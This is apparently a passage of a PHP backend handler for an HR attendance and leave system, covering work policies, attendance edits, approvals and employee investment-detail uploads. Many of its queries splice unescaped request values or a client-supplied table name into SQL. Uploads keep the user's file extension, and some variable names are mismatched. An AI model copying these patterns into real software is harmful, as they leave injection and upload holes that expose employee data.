                    $q = mysqli_query($db,"INSERT INTO work_policy (employee_id, working_days, punch_in, punch_out, applicable_from, relaxation_from, relaxation_to, auto_approve_from, auto_approve_to, not_request_after, half_day_hours) VALUES ('$u[employee_id]', '$working_days', '$punch_in', '$punch_out', '$applicable_from', '$relaxation_from', '$relaxation_to', '$auto_approve_from', '$auto_approve_to', '$not_request_after', '$half_day_hours')");
                    if(!$q){
                        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
                        exit();
                    }
                }
            }
        }
    }


    // if(!empty($applicable_from_emp)){
    //     echo json_encode(["status"=>500, 'message'=>"Applicable From: `$applicable_from` , You only add greater than `applicable from` from last `applicable_from` for employees `$applicable_from_emp`."]);
    // }else{
        echo json_encode(["status"=>200, 'message'=>'Work Policy Added Successfully!']);
    // }
}
// // from work_policy.php
// if(isset($_POST['update_work_policy'])){

//     $edit_work_id = mysqli_real_escape_string($db,$_POST['edit_work_id']);
//     $employee_id = mysqli_real_escape_string($db,$_POST['ex_employee_id']);
//     $punch_in = mysqli_real_escape_string($db,$_POST['punch_in']);
//     $punch_out = mysqli_real_escape_string($db,$_POST['punch_out']);
//     $working_days = [];
//     foreach ($_POST['working_days'] as  $weak_name) {
//         array_push($working_days, mysqli_real_escape_string($db,$weak_name));
//     }
//     $working_days = json_encode($working_days);

//     $applicable_from = mysqli_real_escape_string($db,$_POST['applicable_from']);
//     $applicable_to = date('Y-m',strtotime("$_POST[applicable_from] -1 month"));


//     $old_applicable_from = mysqli_real_escape_string($db, $_POST['old_applicable_from']);
//     $old_applicable_to = date('Y-m',strtotime("$_POST[old_applicable_from] -1 month"));

//     $od = mysqli_query($db, "UPDATE work_policy set applicable_to='$applicable_to' WHERE employee_id='$employee_id' and applicable_to='$old_applicable_to' order by id desc limit 1");
//     if($od){

//         $q = mysqli_query($db,"UPDATE work_policy SET working_days='$working_days', punch_in='$punch_in', punch_out='$punch_out', applicable_from='$applicable_from' WHERE id='$edit_work_id' ");
//         if($q){
//             echo json_encode(["status"=>200, 'message'=>'Work Policy Updated Successfully!']);
//         }else{
//             echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
//         }
//     }else{
//         echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
//     }
// }



if(isset($_POST['attendance_utilize_id'])){


    $attendance_utilize_id = $_POST['attendance_utilize_id'];
    $currentEventDate = date('Y-m-d',strtotime($_POST['currentEventDate']));
    $utilize_to = json_decode($_POST['utilize_to'], true);

    // #######################################################
    $rData = mysqli_fetch_assoc(mysqli_query($db, "select * from attendance where id='$attendance_utilize_id' "));
    $finalColumnsValue = '';
    $aValues = array_slice($rData, 0, 6);
    $aValues = array_values($aValues);
    $finalColumnsValue .= "('" . implode("','", $aValues) . "'),";
    $finalColumnsValue = trim($finalColumnsValue, ',');
    $ac = mysqli_query($db, "insert into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
    if (!$ac) {
        echo mysqli_error($db);
    }
    if($utilize_to['leave_for_attendance']=='1'){
        $attendance_status = 'Present';
    }else if($utilize_to['leave_for_attendance']=='0.5' && $rData['attendance_status']=='Absent'){
        $attendance_status = 'Half Day';
    }else{
        $attendance_status = 'Present';
    }
    $a = mysqli_query($db,"UPDATE attendance SET attendance_status='$attendance_status', attendance_change='1', attendance_change_reason='Change by Utilize Leave' WHERE id='$rData[id]' ");
    if(!$a){
        echo mysqli_error($db);
    }
    // ####################################

    $ul = mysqli_query($db,"INSERT INTO utilize_leave (employee_id, leave_status, leave_count, leave_date) VALUES('$rData[employee_id]','$utilize_to[leave_name]','$utilize_to[leave_for_attendance]','$currentEventDate') ");
    if($ul){
        echo 1;
    }else{
        echo mysqli_error($db);
    }

}

if(isset($_POST['week_off_utilize_id'])){


    $week_off_utilize_id = $_POST['week_off_utilize_id'];
    $currentEventDate = date('Y-m-d',strtotime($_POST['currentEventDate']));
    $attendance_week_off_utilize = $_POST['attendance_week_off_utilize'];

    // #######################################################
    $rData = mysqli_fetch_assoc(mysqli_query($db, "select * from attendance where id='$week_off_utilize_id' "));
    $finalColumnsValue = '';
    $aValues = array_slice($rData, 0, 6);
    $aValues = array_values($aValues);
    $finalColumnsValue .= "('" . implode("','", $aValues) . "'),";
    $finalColumnsValue = trim($finalColumnsValue, ',');
    $ac = mysqli_query($db, "insert into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
    if (!$ac) {
        echo mysqli_error($db);
        exit();
    }
    
    $attendance_status = $attendance_week_off_utilize;
    $a = mysqli_query($db,"UPDATE attendance SET attendance_status='$attendance_status', attendance_change='1', attendance_change_reason='Change by week off Utilize Leave' WHERE id='$rData[id]' ");
    if(!$a){
        echo mysqli_error($db);
        exit();
    }
    // ####################################
    echo 1;
}


// raw_attendance.php
if(isset($_POST['attendance_action'])){
    $attendance_action = mysqli_real_escape_string($db, $_POST['attendance_action']);
    $u_attendance_status = mysqli_real_escape_string($db, $_POST['u_attendance_status']);
    $u_attendance_comment = mysqli_real_escape_string($db, $_POST['u_attendance_comment']);
    $all_checkboxes_val = mysqli_real_escape_string($db, $_POST['all_checkboxes_val']);
    $q = null;
    if($attendance_action=='Update'){

        // #######################################################
        $rData = mysqli_query($db, "select * from attendance where id IN($all_checkboxes_val) ");
        $finalColumnsValue = '';
        while ($reData = mysqli_fetch_assoc($rData)) {
            $aValues = array_slice($reData, 0, 6);
            $aValues = array_values($aValues);
            // array_pop($aValues);
            $finalColumnsValue .= "('" . implode("','", $aValues) . "'),";
        }
        $finalColumnsValue = trim($finalColumnsValue, ',');
        $qi = mysqli_query($db, "insert into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
        if ($qi) {
            // echo "insert";
        } else {
            // echo mysqli_error($db);
        }
        // ####################################

        $q = mysqli_query($db,"UPDATE attendance set attendance_status='$u_attendance_status', attendance_change=1, attendance_comment='$u_attendance_comment', attendance_change_reason='Change by Manual From Raw Attendance' WHERE id IN($all_checkboxes_val) ");
    }else{
        $q = mysqli_query($db,"DELETE FROM attendance WHERE id IN($all_checkboxes_val) ");
    }

    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }

}


// all_users.php
if(isset($_POST['employee_action_for'])){
    $employee_action_for = mysqli_real_escape_string($db, $_POST['employee_action_for']);
    $u_department = mysqli_real_escape_string($db, $_POST['u_department']);
    $u_leader = mysqli_real_escape_string($db, $_POST['u_leader']);
    $all_checkboxes_val = $_POST['all_checkboxes_val']??[];
    $all_checkboxes_val = "'" . implode("','", $all_checkboxes_val) . "'";

    if($employee_action_for=='Department'){
        $q = mysqli_query($db,"UPDATE users SET department='$u_department' WHERE employee_id IN($all_checkboxes_val) ");
    }else{
        $q = mysqli_query($db,"UPDATE users SET leader='$u_leader' WHERE employee_id IN($all_checkboxes_val) ");
    }

    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }

}

if(isset($_POST['add_incash_leave'])){
    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $casual_inCash = mysqli_real_escape_string($db, $_POST['casual_inCash']);
    $medical_inCash = mysqli_real_escape_string($db, $_POST['medical_inCash']);
    $casual_carryForward = mysqli_real_escape_string($db, $_POST['casual_carryForward']);
    $medical_carryForward = mysqli_real_escape_string($db, $_POST['medical_carryForward']);

    $financial_year_start = mysqli_real_escape_string($db, $_POST['financial_year_start']);
    $financial_year_end = mysqli_real_escape_string($db, $_POST['financial_year_end']);

    $financial_year_start =  date("Y-m-1", strtotime($financial_year_start));
    $financial_year_end =  date("Y-m-t", strtotime($financial_year_end));

    $exist = mysqli_num_rows(mysqli_query($db, "SELECT * FROM incash_leave WHERE employee_id='$employee_id' AND financial_year_start='$financial_year_start' AND financial_year_end='$financial_year_end'"));
    if($exist>0){
        echo json_encode(["status"=>500, 'message'=>"Employee ($employee_id) for financial Year ($_POST[financial_year_start] - $_POST[financial_year_end]) already Exist.", 'error'=>mysqli_error($db)]);
        exit();
    }

    $q = mysqli_query($db, "INSERT INTO incash_leave (employee_id, casual_inCash, medical_inCash, casual_carryForward, medical_carryForward, financial_year_start, financial_year_end) VALUE('$employee_id', '$casual_inCash', '$medical_inCash', '$casual_carryForward', '$medical_carryForward', '$financial_year_start', '$financial_year_end')");

    if($q){
        echo json_encode(["status"=>200, 'message'=>'Leave In Cash and carry forward Stored Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}
if(isset($_POST['update_incash_leave'])){
    $edit_incash_leave = mysqli_real_escape_string($db, $_POST['edit_incash_leave']);

    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $casual_inCash = mysqli_real_escape_string($db, $_POST['casual_inCash']);
    $medical_inCash = mysqli_real_escape_string($db, $_POST['medical_inCash']);
    $casual_carryForward = mysqli_real_escape_string($db, $_POST['casual_carryForward']);
    $medical_carryForward = mysqli_real_escape_string($db, $_POST['medical_carryForward']);

    $financial_year_start = mysqli_real_escape_string($db, $_POST['financial_year_start']);
    $financial_year_end = mysqli_real_escape_string($db, $_POST['financial_year_end']);

    $financial_year_start =  date("Y-m-1", strtotime($financial_year_start));
    $financial_year_end =  date("Y-m-t", strtotime($financial_year_end));

    $q = mysqli_query($db, "UPDATE incash_leave SET casual_inCash='$casual_inCash', medical_inCash='$medical_inCash', casual_carryForward='$casual_carryForward', medical_carryForward='$medical_carryForward', financial_year_start='$financial_year_start', financial_year_end='$financial_year_end' WHERE id='$edit_incash_leave'");

    if($q){
        echo json_encode(["status"=>200, 'message'=>'Leave In Cash and carry forward Update Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

if(isset($_POST['freeze_month'])){
    $freeze_month = mysqli_real_escape_string($db, $_POST['freeze_month']);
    $exit = mysqli_num_rows(mysqli_query($db, "SELECT * FROM attendance_freeze WHERE `month`='$freeze_month'"));
    if($exit==0){
        $q = mysqli_query($db, "INSERT INTO attendance_freeze (`month`) VALUE('$freeze_month')");
        if($q){
            echo 1;
        }else{
            echo mysqli_error($db);
        }
    }else{
        echo 2;
    }
}
if(isset($_POST['issue_date_freeze'])){
    $freeze_month = explode(' to ',$_POST['issue_date_freeze']);
    $freeze_month1 = date('Y-m', strtotime($freeze_month[0]));
    $freeze_month2 = date('Y-m', strtotime($freeze_month[1]));

    $exit1 = mysqli_num_rows(mysqli_query($db, "SELECT * FROM attendance_freeze WHERE `month`='$freeze_month1'"));
    $exit2 = mysqli_num_rows(mysqli_query($db, "SELECT * FROM attendance_freeze WHERE `month`='$freeze_month2'"));
    
    if($exit1>0 || $exist2>0){
       echo 1;
    }else{
        echo 2;
    }
}


if(isset($_GET['get_user_nav_details'])){

    $user = mysqli_real_escape_string($db, $_GET['user']);

    $data = mysqli_fetch_all(mysqli_query($db, "SELECT t1.id, t1.permission, t1.user_id FROM files_permission t1 inner join users t2 on t1.user_id=t2.id WHERE t2.employee_id='$user'"), MYSQLI_ASSOC);
    echo ($data[0]['permission']);
}

if(isset($_POST['nav_access'])){

    $nav_access = mysqli_real_escape_string($db, $_POST['nav_access']);
    $select_user = mysqli_real_escape_string($db, $_POST['select_user']);

    $user = mysqli_fetch_assoc(mysqli_query($db, "SELECT id FROM users WHERE employee_id='$select_user'"));
    $u_id = $user['id'];
    $access_exist = mysqli_num_rows(mysqli_query($db, "SELECT id FROM files_permission WHERE user_id='$u_id'"));
    if($access_exist==0){
        $q = mysqli_query($db, "INSERT INTO files_permission (user_id, permission) VALUES('$u_id','$nav_access')");
    }else{
        $q = mysqli_query($db, "UPDATE files_permission SET permission='$nav_access' WHERE user_id='$u_id'");
    }
    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }
}


// set_approve_access.php
if(isset($_POST['add_approve_access_submit'])){

    $request_for = mysqli_real_escape_string($db, $_POST['request_for']);
    $employee_id = $_POST['employee_id'];

    $approver = [];
    foreach ($employee_id as $key => $value) {
        $approver[] = $value;
    }
    $approver_json = mysqli_real_escape_string($db, json_encode($approver));

    $q = mysqli_query($db, "INSERT INTO `set_approver_access` (`request_for`, `approvers`) VALUES ('$request_for', '$approver_json') ON DUPLICATE KEY UPDATE approvers='$approver_json';");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Approvers Added Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
    exit();
}

// all_letters.php
if(isset($_POST['letter_approval_request_id'])){

    $letter_approval_request_id = mysqli_real_escape_string($db, $_POST['letter_approval_request_id']);
    $table = mysqli_real_escape_string($db, $_POST['table']);

    $approvers = mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM set_approver_access where request_for='$table'"));
    if(!$approvers){
        echo json_encode(["status"=>500, 'message'=>'No Approvers Found for this Request!']);
        exit();
    }
    $app = json_decode($approvers['approvers'], true);

    $old_app = mysqli_fetch_assoc(mysqli_query($db, "SELECT approved_by FROM `$table` WHERE id='$letter_approval_request_id'"))['approved_by'];

    $old_app = !empty($old_app)? json_decode($old_app, true): [];
    // [
    //     {
    //         "NI04": {
    //             "status": 0,
    //             "message": "",
    //             "time": "2025-04-03 12:22:00"
    //         },
    //         "NI05": {
    //             "status": 0,
    //             "message": "",
    //             "time": "2025-04-03 12:22:00"
    //         },
    //         "NI141": {
    //             "status": 0,
    //             "message": "",
    //             "time": "2025-04-03 12:22:00"
    //         }
    //     }
    // ]
    $new_app = [];
    foreach ($app as $value) {
        $new_app[$value] = [
            "status" => 0,
            "message" => "",
            "time" => date("Y-m-d H:i:s"),
            "update_time" => '',
        ];
    }
    $old_app[] = $new_app;
    $old_app = mysqli_real_escape_string($db, json_encode($old_app));

    $q = mysqli_query($db, "UPDATE `$table` SET approved_by='$old_app' WHERE id='$letter_approval_request_id'");

    if($q){
        echo json_encode(["status"=>200, 'message'=>'Letter Send for Approval Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
    exit();
}
// all_letters.php
if(isset($_POST['letter_approve_id'])){

    $letter_approve_id = mysqli_real_escape_string($db, $_POST['letter_approve_id']);
    $letter_table = mysqli_real_escape_string($db, $_POST['letter_table']);
    $letter_status = mysqli_real_escape_string($db, $_POST['letter_status']);
    $letter_remark = mysqli_real_escape_string($db, $_POST['letter_remark']);

    $approvers = mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM `$letter_table` where id='$letter_approve_id'"));
    $app = json_decode($approvers['approved_by'], true);

    if (!empty($app)) {
        // Get the last record
        $lastIndex = count($app) - 1;
    
        // Modify the last record (Example: Change status to 1)
        foreach ($app[$lastIndex] as $key => &$value) {
            if($key == $emp_id){
                $value['status'] = intval($letter_status); // Update status
                $value['message'] = $letter_remark; // Update message
                $value['update_time'] = date('Y-m-d H:i:s'); // Update timestamp
                break;
            }
        }
        
        // Convert back to JSON
        $updatedJson = json_encode($app, JSON_UNESCAPED_SLASHES);
    
        $q = mysqli_query($db, "UPDATE `$letter_table` SET approved_by='$updatedJson' WHERE id='$letter_approve_id'");
        if($q){
            echo json_encode(["status"=>200, 'message'=>'Letter Approved Successfully!']);
        }else{
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
        }
    } else {
        echo json_encode(["status"=>500, 'message'=>'Record Not Found!']);
    }
    exit();
}


// attendance.php
if(isset($_POST['work_policy_month'])){
    $work_policy_month = date("Y-m", strtotime($_POST['work_policy_month']));
    $eid = mysqli_real_escape_string($db, $_POST['work_policy_emp_id']);

    $work_policy = mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM work_policy WHERE employee_id='$eid' AND applicable_from<='$work_policy_month' AND (CASE WHEN COALESCE(applicable_to, '')='' THEN DATE_FORMAT(CURRENT_DATE, '%Y-%m') ELSE applicable_to END)>=DATE_FORMAT(CURRENT_DATE, '%Y-%m') "));
    
    $attendance = mysqli_query($db, "SELECT * FROM attendance WHERE employee_id='$eid' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$work_policy_month%')");
    while($att = mysqli_fetch_assoc($attendance)) {
        // Process each attendance record
        $which_month = $att['which_month'];
        $punch_in = $att['punch_in'];
        $punch_out = $att['punch_out'];
        $attendance_status = $att['attendance_status'];

        if(!in_array($attendance_status, ['Holiday', 'Week Off', 'Work From Home', 'Worked on Week Off', 'Worked on Week Off HD'])) {

            if (empty($work_policy)) {
                $check_punch_in = '10:00 AM';
                $check_punch_out = '6:15 PM';
                // $check_hours = '08:50';
                $check_hours_seconds = strtotime($check_punch_in) - strtotime($check_punch_out);
            } else {
                $check_punch_in = date("h:i A", strtotime($work_policy['relaxation_from']));
                $check_punch_out = date("h:i A", strtotime($work_policy['relaxation_to']));
                // $check_hours = date("H:i", (strtotime($check_punch_out) - strtotime($check_punch_in)));
                $check_hours_seconds = strtotime($check_punch_out) - strtotime($check_punch_in);
            }

            // Convert working hours to seconds for proper comparison
            $punch_in_time  = strtotime($punch_in);
            $punch_out_time = strtotime($punch_out);
            $check_in_time  = strtotime($check_punch_in);
            $check_out_time = strtotime($check_punch_out);
            $worked_seconds = $punch_out_time - $punch_in_time;
            
            // $leaveDate = date("d M Y", strtotime($which_month));
            $working_days = json_decode($work_policy['working_days'], true);
            $dayOfWeek = date('l', strtotime($which_month));
            if (is_array($working_days) && !empty($working_days)) {
                if (!in_array($dayOfWeek, $working_days)) {
                    if ($punch_in == '' && $punch_out == '') {
                        $attendance_status = 'Week Off';
                    } else if ($punch_in == '' || $punch_out == '' || ($punch_in_time > $check_in_time) || ($punch_out_time < $check_out_time)) {
                        // $attendance_status = 'Worked on Week Off HD';
                    } else {
                        // $attendance_status = 'Worked on Week Off';
                    }
                } else {
                    if ($punch_in == '' && $punch_out == '') {
                        $attendance_status = 'Absent';
                    } else if ($punch_in == '' || $punch_out == '') {
                        $attendance_status = 'Half Day';
                    } else if (($punch_in_time > $check_in_time) || ($punch_out_time < $check_out_time)) {
                        $attendance_status = 'Half Day';
                    } else if ($worked_seconds < $check_hours_seconds) {
                        $attendance_status = 'Half Day';
                    } else {
                        $attendance_status = 'Present';
                    }
                }
            } else {
                if ($dayOfWeek == 'Sunday') {
                    if ($punch_in == '' && $punch_out == '') {
                        $attendance_status = 'Week Off';
                    } else if ($punch_in == '' || $punch_out == '' || (($punch_in_time > $check_in_time) || ($punch_out_time < $check_out_time))) {
                        // $attendance_status = 'Worked on Week Off HD';
                    } else {
                        // $attendance_status = 'Worked on Week Off';
                    }
                } else {
                    if ($punch_in == '' && $punch_out == '') {
                        $attendance_status = 'Absent';
                    } else if ($punch_in == '' || $punch_out == '') {
                        $attendance_status = 'Half Day';
                    } else if (($punch_in_time > $check_in_time) || ($punch_out_time < $check_out_time)) {
                        $attendance_status = 'Half Day';
                    } else if ($worked_seconds < $check_hours_seconds) {
                        $attendance_status = 'Half Day';
                    } else {
                        $attendance_status = 'Present';
                    }
                }
            }
        }

        $q = mysqli_query($db, "UPDATE attendance SET attendance_status='$attendance_status' WHERE id='$att[id]' ");
        if(!$q){
            echo mysqli_error($db);
            exit;
        }
    }
    echo 1;
    exit();
}

// from employeeDetails.php
if (isset($_POST['employeeIdDetails'])) {


    $eid = $_POST['employeeIdDetails'];
    $dob = $_POST['dob'];

    $prevCompanyName = $_POST['prevCompanyName'];
    $fySalary = $_POST['fySalary'];
    $prevTDS = $_POST['prevTDS'];

    $rentalHouseStatus = $_POST['rentalHouseStatus'];
    $rentalPay = $_POST['rentalPay'];

    $lic = $_POST['lic'];
    $mutualFund = $_POST['mutualFund'];
    $fixedDeposit = $_POST['fixedDeposit'];
    $medicalInsurance = $_POST['medicalInsurance'];
    $booksPer = $_POST['booksPer'];
    $otherInvestment = $_POST['otherInvestment'];

    $interestSaving = $_POST['interestSaving'];
    $interestFD = $_POST['interestFD'];
    $dividendIncome = $_POST['dividendIncome'];
    $otherIncome = $_POST['otherIncome'];

    $rentalIncome = $_POST['rentalIncome'];
    $homeLoanInterest = $_POST['homeLoanInterest'];

    $c_date = date("Ymd_His");
    $empData = mysqli_fetch_assoc(mysqli_query($db, "select * from users where employee_id='$eid' "));
    $empName = $empData['name'];

    // attachment files
    $upload_dir = '../attachment_files';
    $licFileName = '';
    $licAttachment = $_FILES['licAttachment']['name'];
    if (!empty($licAttachment)) {
        $licAttachment_tmp_name = $_FILES['licAttachment']['tmp_name'];
        $extension = pathinfo($licAttachment, PATHINFO_EXTENSION);
        $licFileName = 'LIC_' . str_replace(" ", "_", $empName) . '_' . $emp_id . '_' . $c_date . '.' . $extension;
        move_uploaded_file($licAttachment_tmp_name, "$uploads_dir/$licFileName");
    }

    $mfFileName = '';
    $mutualFundAttachment = $_FILES['mutualFundAttachment']['name'];
    if (!empty($mutualFundAttachment)) {
        $mutualFundAttachment_tmp_name = $_FILES['mutualFundAttachment']['tmp_name'];
        $extension = pathinfo($mutualFundAttachment, PATHINFO_EXTENSION);
        $mfFileName = 'Mutual_Fund_' . str_replace(" ", "_", $empName) . '_' . $emp_id . '_' . $c_date . '.' . $extension;
        move_uploaded_file($mutualFundAttachment_tmp_name, "$uploads_dir/$mfFileName");
    }

    $fdFileName = '';
    $fixedDepositAttachment = $_FILES['fixedDepositAttachment']['name'];
    if (!empty($fixedDepositAttachment)) {
        $fixedDepositAttachment_tmp_name = $_FILES['fixedDepositAttachment']['tmp_name'];
        $extension = pathinfo($fixedDepositAttachment, PATHINFO_EXTENSION);
        $fdFileName = 'Fixed_Deposit_' . str_replace(" ", "_", $empName) . '_' . $emp_id . '_' . $c_date . '.' . $extension;
        move_uploaded_file($fixedDepositAttachment_tmp_name, "$uploads_dir/$fdFileName");
    }

    $miFileName = '';
    $medicalInsuranceAttachment = $_FILES['medicalInsuranceAttachment']['name'];
    if (!empty($medicalInsuranceAttachment)) {
        $medicalInsuranceAttachment_tmp_name = $_FILES['medicalInsuranceAttachment']['tmp_name'];
        $extension = pathinfo($medicalInsuranceAttachment, PATHINFO_EXTENSION);
        $miFileName = 'Medical_Insurance_' . str_replace(" ", "_", $empName) . '_' . $emp_id . '_' . $c_date . '.' . $extension;
        move_uploaded_file($medicalInsuranceAttachment_tmp_name, "$uploads_dir/$miFileName");
    }

    $bpFileName = '';
    $booksPerAttachment = $_FILES['booksPerAttachment']['name'];
    if (!empty($booksPerAttachment)) {
        $booksPerAttachment_tmp_name = $_FILES['booksPerAttachment']['tmp_name'];
        $extension = pathinfo($booksPerAttachment, PATHINFO_EXTENSION);
        $bpFileName = 'Books_Periodicals_' . str_replace(" ", "_", $empName) . '_' . $emp_id . '_' . $c_date . '.' . $extension;
        move_uploaded_file($booksPerAttachment_tmp_name, "$uploads_dir/$bpFileName");
    }

    $oiFileName = '';
    $otherInvestmentAttachment = $_FILES['otherInvestmentAttachment']['name'];
    if (!empty($otherInvestmentAttachment)) {
        $otherInvestmentAttachment_tmp_name = $_FILES['otherInvestmentAttachment']['tmp_name'];
        $extension = pathinfo($otherInvestmentAttachment, PATHINFO_EXTENSION);
        $oiFileName = 'Other_Investment_' . str_replace(" ", "_", $empName) . '_' . $emp_id . '_' . $c_date . '.' . $extension;
        move_uploaded_file($otherInvestmentAttachment_tmp_name, "$uploads_dir/$oiFileName");
    }

    $q = mysqli_query($db, "INSERT INTO `employee_details` (`id`, `employee_id`, `dob`, `prev_comp_name`, `fy_salary`, `prev_tds`, `rental_house`, `lic`, `lic_attach`, `mf`, `mf_attach`, `fd`, `fd_attach`, `med_ins`, `med_ins_attach`, `books_per`, `books_per_attach`, `other_inv`, `other_inv_attach`, `saving_account_interest`, `fd_interest`, `dividend_income`, `other_income`, `rental_income`, `home_loan_interest`) VALUES (NULL, '$eid', '$dob', '$prevCompanyName', '$fySalary', '$prevTDS', '$rentalPay', '$lic', '$licFileName', '$mutualFund', '$mfFileName', '$fixedDeposit', '$fdFileName', '$medicalInsurance', '$miFileName', '$booksPer', '$bpFileName', '$otherInvestment', '$oiFileName', '$interestSaving', '$interestFD', '$dividendIncome', '$otherIncome', '$rentalIncome', '$homeLoanInterest') ");

    if ($q) {
        echo "<script>alert('Details Added Successfully !');</script>";
        echo "<script>location.href='../employeeDetails';</script>";
    } else {
        echo  mysqli_error($db);
    }
}
